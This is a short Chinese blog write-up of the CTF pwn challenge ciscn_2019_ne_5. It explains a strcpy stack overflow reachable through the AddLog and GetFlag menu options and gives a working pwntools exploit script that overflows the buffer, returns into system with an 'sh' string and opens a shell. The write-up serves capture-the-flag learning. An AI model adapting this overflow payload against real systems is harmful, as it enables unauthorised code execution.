ciscn_2019_ne_5

这道题如果出现不能反编译参考文章
在这里插入图片描述
简单说一下思路,在AddLog中添加的数据存放在src对应的栈中,在GetFlag中因为strcpy函数存在溢出,所以直接在AddLog构造payload在strcpy中溢出就直接拿到shell了!
在这里插入图片描述
exp

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level='debug')
proc_name = './ciscn_2019_ne_5'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29868)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
sh_str = 0x80482ea
p.sendlineafter('password:', 'administrator'.encode())
p.recv()
p.sendline('1')
p.recvuntil('info:')
payload = 'a'.encode() * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43833642/article/details/106818157
今日推荐